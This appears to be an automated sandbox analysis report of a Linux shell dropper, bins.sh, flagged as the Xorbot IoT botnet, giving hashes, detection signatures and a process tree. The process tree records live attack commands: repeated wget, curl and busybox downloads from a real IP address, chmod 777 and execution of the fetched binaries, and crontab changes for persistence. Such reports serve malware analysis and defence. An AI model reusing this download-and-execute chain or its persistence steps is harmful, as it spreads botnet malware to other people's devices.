Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 04:09

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5d0971a556970c74f4cd658bf101cfcd

  • SHA1

    4036ead2200bc75e663115eb6c13de4ef4358d7c

  • SHA256

    5600c839915dc7187cbc973ed14150314c61c0ba5573a7f94953d36eb77c6023

  • SHA512

    03b31e792454caa5dd8d9ec76839878907ca7e4e74b0e4fb698fbb81001fa8eb0033066ef8e69b1947206eebc4f08b24941d63e490118f15aa878d967c32ada0

  • SSDEEP

    96:2+qgBhG8gJdV+wRAJnh0nuncdV+wrRhqrh0nTmaW+qgBhwN8WJ:C8gJj+wRAZ6t+wV5Vi

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:1510
        • /bin/chmod
          chmod 777 Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • File and Directory Permissions Modification
          PID:1511
        • /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          ./Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Executes dropped EXE
          PID:1512
        • /bin/rm
          rm Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
            PID:1514
          • /usr/bin/wget
            wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:1517
          • /bin/chmod
            chmod 777 CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • File and Directory Permissions Modification
            PID:1518
          • /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            ./CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1519
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1521
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1522
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1523
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1524
                • /bin/rm
                  rm CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
                  2⤵
                    PID:1526
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
                    2⤵
                      PID:1529

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

                    Filesize

                    112KB

                    MD5

                    05d7857dcead18bbd86d2935f591873c

                    SHA1

                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                    SHA256

                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                    SHA512

                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  • /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9

                    Filesize

                    122KB

                    MD5

                    cd3d4b9c643e5b473fb4d88ed05f0716

                    SHA1

                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                    SHA256

                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                    SHA512

                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                  • /var/spool/cron/crontabs/tmp.9oeUuC

                    Filesize

                    210B

                    MD5

                    ff4720dc5f4861dc3bf0fcad3cef6b58

                    SHA1

                    82dc0e28046976789a21b5efed11b8be654712b3

                    SHA256

                    0cba36f187e3ace9c61a1b0d1d7e65639188ebc2267d991aef7b8d89a7ac023e

                    SHA512

                    acc2a0098e7db749390cc10d0a8a5fed4bc4027200950d2aafa94c78f2078a7a16a28e93cdf6edecca47deea6a08af129613daa20637178e8dd5751905f47ce2